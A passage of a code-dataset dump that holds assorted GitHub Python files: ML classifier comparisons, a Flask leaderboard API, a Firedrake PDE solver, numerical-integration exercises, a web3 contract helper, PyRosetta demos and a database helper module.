explainer.shap_values(x_train.iloc[:100])\r\nshap.initjs()\r\nshap.force_plot(explainer.expected_value[1], shap_values[1], x_test.iloc[:100])\r\n\r\n\r\n\r\n\r\n#KNN ALGORITHM\r\n\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nmodel=KNeighborsClassifier(n_neighbors=5)\r\nmodel.fit(x_train,y_train)\r\nY_pred=model.predict(x_test)\r\nknntrain=model.score(x_train, y_train)\r\nprint(\"Training Accuracy :\", knntrain)\r\nknntest=model.score(x_test, y_test)\r\nprint(\"Testing Accuracy :\", knntest)\r\n\r\n\r\n#SUPPORT VECTOT MACHINE\r\n\r\nfrom sklearn import svm\r\nmodel = svm.SVC(kernel='rbf')\r\nmodel.fit(x_train, y_train)\r\ny_pred=model.predict(x_test)\r\nsvmtrain=model.score(x_train, y_train)\r\nprint(\"Training Accuracy :\", svmtrain)\r\nsvmtest=model.score(x_test, y_test)\r\nprint(\"Testing Accuracy :\", svmtest)\r\n\r\n\r\n#NAIVE BAYES ALGORITHM\r\n\r\nfrom sklearn.naive_bayes import GaussianNB\r\nmodel =GaussianNB()\r\nmodel.fit(x_train,y_train)\r\ny_pred=model.predict(x_test)\r\nnbtrain=model.score(x_train, y_train)\r\nprint(\"Training Accuracy :\", nbtrain)\r\nnbtest=model.score(x_test, y_test)\r\nprint(\"Testing Accuracy :\", nbtest)\r\n\r\n#LOGISTIC REGRESSION\r\n\r\nfrom sklearn.linear_model import LogisticRegression\r\nmodel = LogisticRegression(random_state = 0)\r\nmodel.fit(x_train, y_train)\r\ny_pred = model.predict(x_test)\r\nlrtrain=model.score(x_train, y_train)\r\nprint(\"Training Accuracy :\", lrtrain)\r\nlrtest=model.score(x_test, y_test)\r\nprint(\"Testing Accuracy :\", lrtest)\r\n\r\n#comparisson between algorithm\r\n\r\n#train plot\r\nobjects=['RANDOMFOREST','KNN','SVM','NAIVE','LOGISTIC']\r\ny_pos=np.arange(len(objects))\r\ntrainaccuracy=[rantrain,knntrain,svmtrain,nbtrain,lrtrain]\r\n\r\nplt.bar(y_pos, trainaccuracy, align='center', alpha=0.5,color=('red','blue','green','orange','purple'))\r\nplt.xticks(y_pos, objects)\r\nplt.xlabel('ALGORITHM')\r\nplt.ylabel('TRAIN ACCURACY')\r\nplt.title('Comparisson Between Algorithms')\r\nplt.show()\r\n\r\n#test plot\r\nobjects1=['RANDOMFOREST','KNN','SVM','NAIVE','LOGISTIC']\r\ny_pos1=np.arange(len(objects1))\r\ntestaccuracy=[rantest,knntest,svmtest,nbtest,lrtest]\r\n\r\nplt.bar(y_pos1, testaccuracy, align='center', alpha=0.5,color=('red','blue','green','orange','purple'))\r\nplt.xticks(y_pos, objects)\r\nplt.xlabel('ALGORITHM')\r\nplt.ylabel('TEST ACCURACY')\r\nplt.title('Comparisson Between Algorithms')\r\nplt.show()\r\n\r\n\r\n","repo_name":"smr10/Online-Shoppers-Intention","sub_path":"shopping.py","file_name":"shopping.py","file_ext":"py","file_size_in_byte":20391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"32245052613","text":"import setuptools\r\n\r\n\r\ntry:\r\n    # for pip >= 10\r\n    from pip._internal.req import parse_requirements\r\nexcept ImportError:\r\n    # for pip <= 9.0.3\r\n    from pip.req import parse_requirements\r\n\r\n\r\ndef load_requirements(fname):\r\n    reqs = parse_requirements(fname, session=\"test\")\r\n    return [str(ir.req) for ir in reqs]\r\n\r\n\r\ndef long_description(fname):\r\n    with open(fname) as f:\r\n        return f.read()\r\n\r\n\r\nsetuptools.setup(\r\n    name='squat',\r\n    version='1.0.3',\r\n    scripts=[],\r\n    author=\"Binay Kumar Ray\",\r\n    author_email=\"binayray2009@gmail.com\",\r\n    description=\"SQUAT\",\r\n    long_description=long_description('README.md'),\r\n    long_description_content_type=\"text/markdown\",\r\n    url=\"https://github.com/binayr/SQUAT.git\",\r\n    packages=setuptools.find_packages(),\r\n    include_package_data=True,\r\n    install_requires=load_requirements('requirements.txt'),\r\n    dependency_links=[\r\n        \"https://github.com/explosion/spacy-models/releases/tag/en_core_web_sm-2.1.0\"\r\n    ],\r\n    classifiers=[\r\n        \"Programming Language :: Python :: 3\",\r\n        \"License :: OSI Approved :: MIT License\",\r\n        \"Operating System :: OS Independent\",\r\n    ],\r\n    entry_points={\r\n          'console_scripts': [\r\n              # add cli scripts here in this form:\r\n              'squat=squat.cli:main'\r\n          ],\r\n      }\r\n)\r\n","repo_name":"binayr/SQUAT","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"32874908188","text":"\n# opens a file with 1000 events and processes data to a neural network friendly format\n\nimport h5py\nimport numpy as np\nfrom tqdm import tqdm\nimport time\n# get home directory path\nwith open('home_path.txt', 'r') as f:\n    home_dir = f.readlines()[0].strip()\n\n\n\nfor fileid in range(1, 101):\n    try:\n        file = h5py.File('/work/tier3/bmaier/upuppi/samples/events_'+str(fileid)+\".h5\", \"r\")\n        # file = h5py.File('/work/submit/cfalor/upuppi/datapreparation/h5_gen/test.h5', \"r\")\n    except FileNotFoundError or OSError:\n        # print the error\n        print(\"fileid:\", fileid)\n        continue\n    except OSError as e:\n        print(\"fileid:\", fileid)\n        print(e)\n        continue\n    # copy the header from the original file\n    # add an additional feature to vtx\n\n    with file as f:\n        # print(f.keys())\n        vtx = f[\"vtx\"][:]\n        pfs = f[\"pfs\"][:]\n        truth = f[\"truth\"][:]\n        n = f[\"n\"][()]\n        for i in range(n):\n            vtx_event = vtx[i]\n            pfs_event = pfs[i]\n            truth_event = truth[i]\n            Nvtx = np.count_nonzero(vtx_event[:, 0])\n            Npfs = np.count_nonzero(pfs_event[:, 0])\n            for j in range(Nvtx):\n                if np.sum(truth_event == j) != vtx_event[j,-2]:\n                    print(j, np.sum(truth_event == j), vtx_event[j,-2])\n                    print(truth_event[:Npfs])\n                    print(vtx_event[:Nvtx])\n                    raise(Exception(\"error\"))\n                elif np.sum(truth[i] == 1) == 0:\n                    print(i, truth[i])\n                    print(vtx_event[:Nvtx])\n                    raise(Exception(\"error\"))\n","repo_name":"chiragfalor/Ultimate-PUPPI","sub_path":"check_consistency.py","file_name":"check_consistency.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"}
+{"seq_id":"39083032758","text":"from flask import Flask, request, jsonify\nimport mysql.connector\nimport keys\nimport json\nfrom flask_cors import CORS\n\n\napp = Flask(__name__)\nCORS(app)\n\n\n#Helper functions for opening/closing connection to database\ndef dbconnect():\n    db = mysql.connector.connect(\n        host=keys.adr,\n        user='root',\n        password=keys.pw,\n        database='users'\n    )\n\n    cursor = db.cursor(dictionary=True)\n\n    return (db, cursor)\n\ndef dbclose(db, cursor):\n    cursor.close()\n    db.close()\n\n\n\n\n\n#returns user info if the user exists\n@app.route(\"/checkUser\", methods=['POST'])\ndef checkUser():\n\n\n    results = []\n\n    try:\n        #query db for specific user\n        db, cursor = dbconnect()\n\n        adr = request.get_json()['address']\n\n        cursor.execute('SELECT * FROM players WHERE address = %s;', [adr])\n        results = cursor.fetchall()\n\n        db.commit()\n        dbclose(db, cursor)\n    except:\n        return jsonify(error=404, msg = \"Unable to query database\"), 404\n\n    return json.dumps(results), 200\n    \n\n#creates a new rom in the users table if a new user joins the game\n@app.route('/newUser', methods=['POST'])\ndef newUser():\n    try:\n        adr = request.get_json()['address']\n        nick = request.get_json()['nickname']\n\n        db, cursor = dbconnect()\n        #base rate 1, will have custom usernames in future\n        cursor.execute('INSERT INTO players (nickname, address, rate) VALUES (%s, %s, 1)', (nick, adr))\n\n        db.commit()\n        dbclose(db, cursor)\n        print('new user added')\n\n    except:\n        return jsonify(error=404, msg = \"Unable to update database\"), 404\n\n    return {},200\n\n\n#updates user's rate in database\n@app.route('/updateUser', methods=['POST'])\ndef updateUser():\n\n    try:\n        adr = request.get_json()['address']\n        rate = request.get_json()['rate']\n\n        db, cursor = dbconnect()\n        #find user and set new rate\n        cursor.execute('UPDATE players SET rate = %s WHERE address = %s', ((rate), adr))\n\n        db.commit()\n        dbclose(db, cursor)\n        print('updated user')\n\n    except:\n        return jsonify(error=404, msg = \"Unable to update database\"), 404\n\n    return {},200\n\n\n#fetch top 10 users by rate, return JSON data\n@app.route(\"/getLB\", methods=['GET'])\ndef leaderboard():\n\n    results = None\n\n    try:\n        db, cursor = dbconnect()\n\n        cursor.execute('SELECT rate,nickname FROM players ORDER BY rate DESC LIMIT 10')\n\n        results = cursor.fetchall()\n\n        db.commit()\n        dbclose(db, cursor)\n        print('leaderboard fetched')\n\n    except:\n        return jsonify(error=404, msg = \"Unable to query database\"), 404\n\n    \n    return json.dumps(results), 200\n\n\n\n@app.route(\"/\")\ndef index():\n    return \"Our flask api server. We will use this in conjuction with a mySQL database to update and display a leaderboard\"\n\nif __name__ == \"__main__\":\n    app.run(port=3001, debug=True)\n","repo_name":"jasonlee8600/IdleIvy","sub_path":"FlaskAPI/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"14875327175","text":"# This example is based on\n# https://fenicsproject.org/docs/dolfin/latest/python/demos/cahn-hilliard/demo_cahn-hilliard.py.html\n# and\n# https://github.com/firedrakeproject/firedrake-bench/blob/master/cahn_hilliard/firedrake_cahn_hilliard.py\n\nimport firedrake_ts\nfrom firedrake import *\nfrom pyop2 import op2\n\n# Model parameters\nlmbda = 1.0e-02  # surface parameter\ndt = 5.0e-06  # time step\n\nmesh = UnitSquareMesh(96, 96, quadrilateral=True)\nV = FunctionSpace(mesh, \"Lagrange\", 1)\nME = V * V\n\n# Define test functions\nq, v = TestFunctions(ME)\n\n# Define functions\nu = Function(ME)  # current solution\nu_t = Function(ME)  # time derivative\n\n# Split mixed functions\nc, mu = split(u)\nc_t, mu_t = split(u_t)\n\n# Create intial conditions and interpolate\ninit_code = \"A[0] = 0.63 + 0.02*(0.5 - (double)random()/RAND_MAX);\"\nuser_code = \"\"\"int __rank;\nMPI_Comm_rank(MPI_COMM_WORLD, &__rank);\nsrandom(2 + __rank);\"\"\"\npar_loop(\n    init_code,\n    direct,\n    {\"A\": (u[0], WRITE)},\n    kernel_kwargs={\"headers\": [\"#include <stdlib.h>\"],\n                   \"user_code\": user_code}\n)\n\n# Compute the chemical potential df/dc\nc = variable(c)\nf = 100 * c ** 2 * (1 - c) ** 2\ndfdc = diff(f, c)\n\n# Weak statement of the equations\nF0 = c_t * q * dx + dot(grad(mu), grad(q)) * dx\nF1 = mu * v * dx - dfdc * v * dx - lmbda * dot(grad(c), grad(v)) * dx\nF = F0 + F1\n\npc = \"fieldsplit\"\nksp = \"lgmres\"\ninner_ksp = \"preonly\"\nmaxit = 1\nparams = {\n    \"mat_type\": \"aij\",\n    \"pc_type\": pc,\n    \"ksp_type\": ksp,\n    \"snes_rtol\": 1e-9,\n    \"snes_atol\": 1e-10,\n    \"snes_stol\": 1e-16,\n    \"snes_linesearch_type\": \"basic\",\n    \"snes_linesearch_max_it\": 1,\n    \"ksp_rtol\": 1e-6,\n    \"ksp_atol\": 1e-15,\n    \"pc_fieldsplit_type\": \"schur\",\n    \"pc_fieldsplit_schur_factorization_type\": \"lower\",\n    \"pc_fieldsplit_schur_precondition\": \"user\",\n    \"fieldsplit_0_ksp_type\": inner_ksp,\n    \"fieldsplit_0_ksp_max_it\": maxit,\n    \"fieldsplit_0_pc_type\": \"hypre\",\n    \"fieldsplit_1_ksp_type\": inner_ksp,\n    \"fieldsplit_1_ksp_max_it\": maxit,\n    \"fieldsplit_1_pc_type\": \"mat\",\n}\n\nparams[\"snes_monitor\"] = None\nparams[\"ts_monitor\"] = None\nparams[\"ts_view\"] = None\n\nproblem = firedrake_ts.DAEProblem(F, u, u_t, (0.0, 50 * dt))\nsolver = firedrake_ts.DAESolver(problem, solver_parameters=params)\n\nif pc in [\"fieldsplit\", \"ilu\"]:\n    sigma = 100\n    # PC for the Schur complement solve\n    trial = TrialFunction(V)\n    test = TestFunction(V)\n    mass = assemble(inner(trial, test) * dx).M.handle\n    a = 1\n    c = (dt * lmbda) / (1 + dt * sigma)\n    hats = assemble(\n        sqrt(a) * inner(trial, test) * dx\n        + sqrt(c) * inner(grad(trial), grad(test)) * dx\n    ).M.handle\n\n    from firedrake.petsc import PETSc\n\n    ksp_hats = PETSc.KSP()\n    ksp_hats.create()\n    ksp_hats.setOperators(hats)\n    opts = PETSc.Options()\n\n    opts[\"ksp_type\"] = inner_ksp\n    opts[\"ksp_max_it\"] = maxit\n    opts[\"pc_type\"] = \"hypre\"\n    ksp_hats.setFromOptions()\n\n    class SchurInv(object):\n        def mult(self, mat, x, y):\n            tmp1 = y.duplicate()\n            tmp2 = y.duplicate()\n            ksp_hats.solve(x, tmp1)\n            mass.mult(tmp1, tmp2)\n            ksp_hats.solve(tmp2, y)\n\n    pc_schur = PETSc.Mat()\n    pc_schur.createPython(mass.getSizes(), SchurInv())\n    pc_schur.setUp()\n    pc = solver.snes.ksp.pc\n    pc.setFieldSplitSchurPreType(PETSc.PC.SchurPreType.USER, pc_schur)\n\nts = solver.ts\nts.setTimeStep(dt)\n\nsolver.solve()\n","repo_name":"IvanYashchuk/firedrake-ts","sub_path":"examples/cahn-hilliard.py","file_name":"cahn-hilliard.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"}
+{"seq_id":"73869385101","text":"import sympy\nx = sympy.symbols(\"x\")  # I will use x instead of y\nfunc_symb = sympy.exp(-x)*sympy.sin(x)**2\nresExact = sympy.N(sympy.integrate(func_symb, (x, 0, sympy.oo)))\n\nsplit_point = 6\nresExact1 = sympy.N(sympy.integrate(func_symb, (x, split_point, sympy.oo)))\nresExact2 = sympy.N(sympy.integrate(func_symb, (x, 0, split_point)))\n\nfrom integ_routines_open import *\nfrom math import exp, sin\n\ndef my_func(x):\n    return exp(-x)*sin(x)**2\n\ndef my_func2(t):\n    x = 1/t\n    return (1/t**2)*my_func(x)\n\n# Split the integral into two interval (0,1) and (1,oo)\n\n# The integral (1,oo)\n\n# x -> split_point, t -> 1/x = 1/split_point. split_point != 0\n# x -> oo, t -> 1/x = 0\nt1 = 0\nt2 = 1/split_point\n\nNinterval = 30\nresN1 = apply_quadrature_multi_interval(\n    integ_newtoncotes_open6seg, my_func2, t1, t2, Ninterval\n)\n\nprint()\nprint(\"Using Newton-Cotes, Ninterval = \", Ninterval)\nprint(\"Result (res,error) = %18.10f %18.10e\" % (resN1, abs(resN1-resExact1)))\nprint(\"resExact1     = \", resExact1)\n\nfrom integ_romberg import *\n\nresN2 = integ_romberg(my_func, 0, split_point, MAXIT=8)\nprint(\"Using Romberg for another interval\")\nprint(\"Result (res,error) = %18.10f %18.10e\" % (resN2, abs(resN2-resExact2)))\n\nprint()\nresN = resN1 + resN2\nprint(\"Final result: %18.12f %18.12e\" % (resN, abs(resN-resExact)))\nprint(\"resExact = \", resExact)\n","repo_name":"f-fathurrahman/ffr-MetodeNumerik","sub_path":"chapra_7th/ch22/chapra_exercise_22_9_b.py","file_name":"chapra_exercise_22_9_b.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
+{"seq_id":"34858844909","text":"# -*- coding: utf-8 -*-\nimport kyoko\nimport pytest\n\ndef test_format_text():\n    test_data = (\n        u\"・ハンバーグチーズ焼きマスタードソース(1個)・チキン竜田揚げあら塩ソース(3個)・ブリの照リ焼き(2個)\"\n    )\n    expected = (\n        u\"・ハ��バーグチーズ焼きマスタードソース(1個)\\n\"\n        u\"・チキン竜田揚げあら塩ソース(3個)\\n\"\n        u\"・ブリの照リ焼き(2個)\"\n    )\n    assert kyoko.format_text(test_data) == expected\n\ndef test_make_speech():\n    main_menu = 'foo'\n    side_menu = 'bar'\n    speech = (\n        u'\\n---------------\\n'\n        u'*メインディッシュ*\\n'\n        u'foo'\n        u'\\n---------------\\n'\n        u'*サイドディッシュ*\\n'\n        u'bar'\n    )\n    assert speech in kyoko.make_speech(main_menu, side_menu)\n\ndef test_make_speech_error_when_main_is_blank():\n    main_menu = ''\n    side_menu = 'bar'\n    with pytest.raises(RuntimeError):\n        kyoko.make_speech(main_menu, side_menu)\n\ndef test_make_speech_error_when_side_is_blank():\n    main_menu = 'foo'\n    side_menu = ''\n    with pytest.raises(RuntimeError):\n        kyoko.make_speech(main_menu, side_menu)\n","repo_name":"megane42/kyoko","sub_path":"kyoko_test.py","file_name":"kyoko_test.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"38178052052","text":"import json, logging\nfrom web3 import Web3\nclass SmartContract(object):\n    def __init__(self, net_url):\n            self.web3 = Web3(Web3.HTTPProvider(net_url, request_kwargs={'timeout':600}))\n\n            self.web3.eth.defaultAccount = self.web3.eth.accounts[0]\n            self.accounts = self.web3.eth.accounts\n\n            with open(\"./Storage.json\", 'r') as f:\n                info_json = json.load(f)\n\n            abi = info_json[\"abi\"]\n            self.address = self.web3.to_checksum_address(\"0x2109C235c6482B6De93bFB72FB10D2788688838b\")\n\n            self.contract = self.web3.eth.contract(address=self.address, abi=abi)\n\n    def add_commitment(self, date: str, commitment: tuple[int, int]):\n        #logging.error(f\"Adding commitment: {date}, {commitment}\")\n        txhash = self.contract.functions.store(date, commitment).transact({'from': self.accounts[0]})\n        #logging.error(f\"Transaction hash: {txhash}\")\n        receipt = self.web3.eth.wait_for_transaction_receipt(txhash)\n        #logging.error(f\"Receipt: {receipt}\")\n        return receipt\n    \n    def receive_commitment(self, date: str):\n        return self.contract.functions.getCommitment(date).call()\n    \ndef main():\n    smart_contract = SmartContract(\"http://127.0.0.1:8545\")\n    receipt = smart_contract.add_commitment(\"2021-01-01\", (1, 2))\n    print(receipt)\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"kopapageorgiou/decentralized-storage","sub_path":"rest_api/app/smartContractInteraction.py","file_name":"smartContractInteraction.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"27259366256","text":"# [BOJ] 1181 단어 정렬\n\nn = int(input())\nwords = [input() for _ in range(n)]\n\nwords.sort(key=lambda x: (len(x), x))\n\nfor i in range(len(words)):\n    if i == 0 or words[i-1] != words[i]:\n        print(words[i])\n        ","repo_name":"SeungYongChoi/Algorithm_Dev_StudyGroup","sub_path":"Week_1/김채은/boj_1181.py","file_name":"boj_1181.py","file_ext":"py","file_size_in_byte":222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"}
+{"seq_id":"38641283499","text":"#!/usr/bin/env python\n# :noTabs=true:\n\nimport time, bz2\n\nfrom random import random\n\nimport rosetta, rosetta.core.pose\n\nimport rosetta.core.pose.signals\n\n\ndef test(pose):\n    pymol.update_energy = True\n    for t in range(12000):\n        pose.set_phi(40, pose.phi(40) + 1)\n        pose_s.set_phi(4, pose_s.phi(4) + 1)\n\n        scorefxn(pose)\n        scorefxn(pose_s)\n\n        seq.apply(pose)\n        seq.apply(pose_s)\n\n        #pymol.send_energy( pose )\n        #pymol.send_energy( pose_s )\n\n        time.sleep(.1)\n\n\n        '''\n        for i in range(1, pose.n_residue()+1):\n            pose.set_phi(i, random()*100. )\n            pose.set_psi(i, random()*100. )\n            seq.apply(pose)\n            #pose.dump_pdb('_%s.pdb' % i)\n            time.sleep(1)\n            '''\n\n\ndef coloring_demo(pose):\n    pymol.update_energy = False\n    pymol.apply(pose)\n    for t in range(12000):\n        N = pose.total_residue()\n        for r in range(1, N+1 ):\n            C = { r : rosetta.protocols.moves.XC_red, 1+N-r: rosetta.protocols.moves.XC_white}\n            #print r, N, C\n            pymol.send_colors(pose, C, default_color=rosetta.protocols.moves.XC_blue)\n\n            #pymol.send_energy( pose_s )\n\n            time.sleep(.1)\n\n\nrosetta.init()\n\npose = rosetta.Pose();  pose.name = 'CustomNamedPose'\npose_s = rosetta.Pose()\nrosetta.pose_from_file(pose, \"../test/data/test_in.pdb\")\nrosetta.pose_from_file(pose_s, \"../test/data/test_in_short.pdb\")\n\nscorefxn = rosetta.create_score_function('standard')\nscorefxn(pose)\n\npymol = rosetta.PyMOLMover()\n\npymol.apply(pose_s)\ncoloring_demo(pose_s)\n\n\nseq = rosetta.protocols.moves.SequenceMover()\nseq.add_mover(pymol)\n\nseq.apply(pose)\nseq.apply(pose_s)\n\n#pm.sendEnergies(pose, 'some_thing', [1,2,3])\n#pm.sendEnergies(pose, 'some_thing_other', [1,2,3./7., 1/3.])\n\n\npo = rosetta.PyMOL_Observer(keep_history=True)\npo.add_observer(pose)\n\n\n#from rosetta import *\n\n\nscorefxn(pose_s)\n\n#pymol.send_specific_energy( pose , 'total_energy')\n#pymol.send_specific_energy( pose_s , 'total_energy')\n\n","repo_name":"mjggodoy/jMetalRosetta","sub_path":"src/python/PyRosetta/src/demo/untested/PyMOL_demo.py","file_name":"PyMOL_demo.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
+{"seq_id":"43351070145","text":"import logging\nfrom typing import Any\n\nimport requests\n\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass CompoundLoader:\n    \"\"\"Helper class for loading of compounds summaries from `ebi-ac-uk` API.\"\"\"\n\n    def __init__(self, available_compounds: list[str]) -> None:\n        \"\"\"Initializes compounds that are available to load.\n\n        Args:\n            available_compounds (list[str]): list of available compounds\n        \"\"\"\n        self.available_compounds = available_compounds\n\n    def get_compound_summary(self, compound: str) -> dict[str, Any]:\n        \"\"\"Loads summary of compound.\n\n        Args:\n            compound (str): compound hetcode\n\n        Raises:\n            SystemExit: if compoud argument is not in available compounds list\n\n        Returns:\n            dict[str, Any]: summary of compound\n        \"\"\"\n        if compound.upper() not in self.available_compounds:\n            warning_message = \"Unsupported compound name\"\n            LOGGER.warning(warning_message)\n            raise SystemExit(f\"Warning: {warning_message}\")\n\n        compound = compound.upper()\n\n        LOGGER.info(\"Loading of summary of %s started\", compound)\n\n        url = f\"https://www.ebi.ac.uk/pdbe/graph-api/compound/summary/{compound}\"\n        response = requests.get(url)\n        compound_info = response.json()[compound][0]\n\n        summary = {\n            \"compound\": compound,\n            \"name\": compound_info[\"name\"],\n            \"formula\": compound_info[\"formula\"],\n            \"inchi\": compound_info[\"inchi\"],\n            \"inchi_key\": compound_info[\"inchi_key\"],\n            \"smiles\": compound_info[\"smiles\"],\n            \"cross_links_count\": len(compound_info[\"cross_links\"]),\n        }\n\n        LOGGER.info(\"Summary of %s loaded successfully\", compound)\n\n        return summary\n","repo_name":"MariamChakhvadze/pyforge-final-project","sub_path":"src/compound_loader.py","file_name":"compound_loader.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"21532351027","text":"from pyopentracks.models.database import Database\nfrom pyopentracks.models.segment import Segment\nfrom pyopentracks.models.segment_point import SegmentPoint\nfrom pyopentracks.tasks.segment_search import SegmentSearch, SegmentTrackSearch\nfrom pyopentracks.utils.utils import DateTimeUtils\n\n\nclass DatabaseHelper:\n\n    @staticmethod\n    def get_activity_by_id(id):\n        db = Database()\n        return db.get_activity_by_id(id)\n\n    @staticmethod\n    def get_activities():\n        db = Database()\n        return db.get_activities()\n\n    @staticmethod\n    def get_existed_activities(activity):\n        db = Database()\n        return db.get_existed_activities(activity.uuid, activity.start_time_ms, activity.stats.end_time_ms)\n\n    @staticmethod\n    def get_subactivities(id):\n        db = Database()\n        return db.get_subactivities(id)\n\n    @staticmethod\n    def get_sections(activity_id):\n        db = Database()\n        return db.get_sections(activity_id)\n\n    @staticmethod\n    def get_sets(stats_id):\n        db = Database()\n        return db.get_sets(stats_id)\n\n    @staticmethod\n    def get_track_points(activity_id, from_trackpoint_id=None, to_trackpoint_id=None):\n        db = Database()\n        return db.get_track_points(activity_id, from_trackpoint_id, to_trackpoint_id)\n\n    @staticmethod\n    def get_aggregated_stats(date_from=None, date_to=None, order_by_categories=False):\n        db = Database()\n        return db.get_aggregated_stats(date_from, date_to, order_by=\"category\" if order_by_categories else \"total_activities\")\n\n    @staticmethod\n    def get_years(order=\"DESC\"):\n        db = Database()\n        return db.get_years(order)\n\n    @staticmethod\n    def create_segment(name: str, distance: float, gain: int, loss: int, points: list):\n        \"\"\"Creates a segment.\n\n        Arguments:\n        name     -- segment's name.\n        distance -- segment's distance.\n        gain     -- segment's elevation gain.\n        loss     -- segment's elevation loss.\n        points   -- segment's TrackPoint list\n\n        Return:\n        Segment's object and the list of SegmentPoint's object.\n        \"\"\"\n        db = Database()\n        segment = Segment(None, name, distance, gain, loss)\n        segment.id = db.insert(segment)\n        segment_points = [ SegmentPoint(None, segment.id, tp.latitude, tp.longitude, tp.altitude) for tp in points ]\n        db.bulk_insert(segment_points, segment.id)\n        segment_search = SegmentSearch(segment, segment_points)\n        segment_search.start()\n\n    @staticmethod\n    def insert_track_activity(activity):\n        \"\"\"Inserts a track activity and all its data (stats, sections, points...)\"\"\"\n        db = Database()\n        activity_id = db.insert_track_activity(activity)\n        if activity_id is not None:\n            segment_track_search = SegmentTrackSearch(activity_id)\n            segment_track_search.start()\n        return activity_id\n\n    @staticmethod\n    def insert_set_activity(activity, sets):\n        \"\"\"Inserts a set activity and all its data\"\"\"\n        db = Database()\n        activity_id = db.insert_set_activity(activity, sets)\n        return activity_id\n\n    @staticmethod\n    def insert_multi_activity(multi_activity):\n        \"\"\"Inserts a the multi activity and all their activities\"\"\"\n        db = Database()\n        multi_activity_id = db.insert_multi_activity(multi_activity)\n        return multi_activity_id\n\n    @staticmethod\n    def bulk_insert(list_to_insert, fk):\n        \"\"\"Insert the list of models and return the number of items inserted.\"\"\"\n        db = Database()\n        return db.bulk_insert(list_to_insert, fk)\n\n    @staticmethod\n    def get_segments():\n        db = Database()\n        return db.get_segments()\n\n    @staticmethod\n    def get_segment_by_id(id):\n        db = Database()\n        return db.get_segment_by_id(id)\n\n    @staticmethod\n    def get_segment_tracks_by_activity_id(activity_id):\n        db = Database()\n        return db.get_segment_activities_by_activity_id(activity_id)\n\n    @staticmethod\n    def get_segment_tracks_by_segment_id(segment_id, fetch_track=False):\n        db = Database()\n        segment_tracks = db.get_segment_tracks_by_segment_id(segment_id)\n        if not fetch_track:\n            return segment_tracks\n\n        for st in segment_tracks:\n            st.activity = DatabaseHelper.get_activity_by_id(st.activity_id)\n\n        return segment_tracks\n\n    @staticmethod\n    def get_segment_tracks():\n        \"\"\"Gets and returns all segmentracks ordered by segmentid.\n\n        Return:\n        A list with all segments with segmentracks, like this:\n        [\n            {\n                segment: <segment's object>,\n                segmentracks: [<object 1>, ..., <object n>]\n            },\n            ...\n\n            {\n                segment: <segment's object>,\n                segmentracks: [<object 1>, ..., <object n>]\n            },\n        ]\n        \"\"\"\n        result_list = []\n        db = Database()\n        for segment in db.get_segments():\n            obj = {\n                \"segment\": segment,\n                \"segmentracks\": []\n            }\n            for segmentracks in db.get_segment_tracks_by_segment_id(segment.id):\n                obj[\"segmentracks\"].append(segmentracks)\n            result_list.append(obj)\n\n        return result_list\n\n    @staticmethod\n    def get_segment_points(segmentid):\n        db = Database()\n        return db.get_segment_points(segmentid)\n\n    @staticmethod\n    def update_altitude(activity_id, results):\n        \"\"\"Update altitude for trackpoints that belong to the activity identified by activity_id with results dictionary.\n\n        Arguments:\n        activity_id - activity's id.\n        results - list of dictionaries with keys: \"latitude\", \"longitude\" and \"elevation\".\n        \"\"\"\n        db = Database()\n        db.update_altitude(activity_id, results)\n\n    @staticmethod\n    def update_stats(activity_id, gain, loss, min_elevation=None, max_elevation=None):\n        db = Database()\n        activity = db.get_activity_by_id(activity_id)\n        activity.gain_elevation_m = gain\n        activity.loss_elevation_m = loss\n        if max_elevation is not None:\n            activity.max_elevation_m = max_elevation\n        if min_elevation is not None:\n            activity.min_elevation_m = min_elevation\n        db.update(activity)\n\n    @staticmethod\n    def update_activity(activity):\n        DatabaseHelper.update(activity)\n        for a in activity.activities:\n            DatabaseHelper.update(a)\n\n    @staticmethod\n    def update(model):\n        db = Database()\n        db.update(model)\n\n    @staticmethod\n    def delete(model):\n        db = Database()\n        db.delete(model)\n\n    @staticmethod\n    def get_activities_in_day(y: int, m: int, d: int):\n        db = Database()\n        return db.get_activities_between(DateTimeUtils.begin_of_day(y, m, d), DateTimeUtils.end_of_day(y, m, d))\n\n    @staticmethod\n    def get_segment_track_record(segmentid, time, year=None):\n        db = Database()\n        return db.get_segment_track_record(segmentid, time, year)\n","repo_name":"rgmf/PyOpenTracks","sub_path":"pyopentracks/models/database_helper.py","file_name":"database_helper.py","file_ext":"py","file_size_in_byte":7052,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
